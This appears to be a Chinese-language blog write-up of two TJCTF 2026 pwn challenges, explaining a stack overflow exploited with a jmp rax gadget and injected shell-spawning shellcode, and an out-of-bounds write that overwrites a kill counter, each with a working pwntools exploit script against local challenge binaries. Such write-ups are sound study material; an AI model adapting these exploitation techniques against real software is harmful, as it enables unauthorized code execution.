1125 字
3 分钟
tjctf2026_pwn_greetings_&_game
2026-05-22
统计加载中...

greetings#

替换文本
我们可以看到没开NXNX,栈可执行,可以考虑用shellcodeshellcode
替换文本
这里原函数的逻辑是输入一个intint整数nn,然后后续会通过fgetsfgetsss中输入(n+2)(n + 2)个字节。(后续有个nn += 22)所以当我们输入一个大于缓冲区大小2 - 2nn时就会触发栈溢出,我们可以覆盖返回地址。最后还有个判断,如果我们向ss输入的开头是@@可以打印出ss的字符串内容,但这里没有格式化字符串漏洞。
然而这里要注意,在栈上搭建shellcodeshellcode之后,我们要把返回地址填成栈上的地址。所以我们需要泄露栈上的地址或者用jmp rsp这种gadgetgadget跳转。然而这题并没有发现jmp rspprintfprintf也没办法泄露栈地址。但我们可以发现一个特殊的gadgetgadget,它也有jmp,并且跳转的是寄存器rax
替换文本
我们再看看对应寄存器存储的值。
替换文本
这里fgetsfgets完后寄存器raxrax被设置成了栈上的地址,然后我们通过比对就发现了这个地址正是缓冲区的起始位置。所以后续我们不进入printfprintf的条件分支,(因为进入分支后又会修改raxrax)而是直接跳转这个gadgetgadget就可以执行shellcodeshellcode了。
这里还有一个问题是程序开启了PIEPIE,同时fgetsfgets输入完后会以x00x00结尾,所以当我们覆盖低88位的时候其实我们是会覆盖低1616位地址。不过好在这里的mainmain和我们的gadgetgadget只有低88位不同。返回地址的mainmain089gadgetgadget0DF。也因此这里的第131613-16位还是需要爆破来实现跳转。(我们覆盖时会直接覆盖22个字节00DF)
最后一点还要注意shellcraftshellcraft生成shellcodeshellcode的汇编里面压栈的操作相对较多,实测时发现这类操作会覆盖掉原本我们写好的shellocodeshellocode的尾部,导致getshellgetshell失败,我这里的方法是手动先把rsprsp拉到离shellcodeshellcode更更远的低地址区域,保证shellcodeshellcode执行的压栈和栈增长操作不会覆盖原来的shellcodeshellcode区域。

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './greetings'
HOST = ''
PORT = 1
#p = remote(HOST, PORT)
# gdb.attach(p, '''
# ''')
while True:
p = process(LOCAL)
shellcode = asm('''sub rsp, 0x100''' + shellcraft.sh())
print("shellcode_len:{}".format(len(shellcode)))
payload = flat([
shellcode,
b'a' * (72 - len(shellcode)),
b'\xDF'
])
p.sendline(b'72')
p.send(payload)
try:
p.sendline(b'echo shell_success')
response = p.recvuntil(b'shell_success', timeout = 1)
if b'shell_success' in response:
p.interactive()
break
except EOFError:
p.close()
continue

game#

替换文本
这题给了CC语言源码方便我们理解程序逻辑。(如果直接看汇编非常难看)比较长我这里就不直接放出来了。大致逻辑是给了一个打怪的小游戏,我们每次都会输入一个MM代表移动或者AA代表攻击,后面再接着输入一个EWSNEWSN代表向东西南北进行操作。然后这里每个22的倍数和55的倍数的回合就会生成一个敌人,每个敌人每个会不断向我们玩家所在的位置靠近。如果我们主动移动碰到了小怪,或者小怪移动碰到了我们游戏就会直接结束。回合结束之后就会检测我们的击杀数killCtkillCt是多少,如果击杀数等于1752526452(0x68756E74)1752526452(0x68756E74)就算挑战成功,就会直接输出flagflag
替换文本
我们通过审计可以发现这里存在越界写的问题。array_ptrarray\_ptr指向了input_loginput\_log这个在栈上的数组。我们看到在这个输入两个字母的循环里,如果我们的输入一直没有达成它规定的输入MAMA或者NESWNESW,这个循环就会不断进行,然后我们的array_ptrarray\_ptr指针就会不断下移,(每次下移两个字节)最终超出原本play_inputplay\_input的位置,然后覆写栈上的其他内容。
替换文本
这里的v18v18就是array_ptrarray\_ptrv7v7就是input_loginput\_logkillCtkillCt对应v6v6。我们看到killCtkillCt是在input_loginput\_log的下方,我们完全可以通过覆盖修改。
替换文本
这里我们还要注意一下我们覆盖的长度不是直接0x84 - 0x41,我们需要的覆盖的内容是前面的44个字节,(intint类型)所以应该是偏移量是0x81 - 0x41,然后由于我们输入的字符类型是charchar,所以我们需要查一下对应的ASCIIASCII,我们发现68 75 6E 74刚好对应hunthunt,覆盖到位置后直接输入即可。
我们成功覆盖之后后续部分我们就按要求输入,然后这个array_ptrarray\_ptr就不会继续向下了。我们一直发送相同的位移MWMW,一直执行到怪碰到我们玩家结束游戏,就可以拿到flagflag了。

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
LOCAL = './game'
HOST = ''
PORT = 1
p = process(LOCAL)
# gdb.attach(p, '''
# ''')
payload =flat([
b'xx\n' * 32,
b'hu\n',
b'nt\n',
])
p.recvuntil(b'(W)est ')
p.send(payload)
while(True):
p.sendline(b'MW')
response = p.recvuntil(b'(W)est ', timeout = 3)
if b'flag{' in response:
print(response)
break
else:
continue
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

tjctf2026_pwn_greetings_&_game
https://mkrari.cn/posts/tjctf2026/
作者
Mkrari
发布于
2026-05-22
许可协议
CC BY-NC-SA 4.0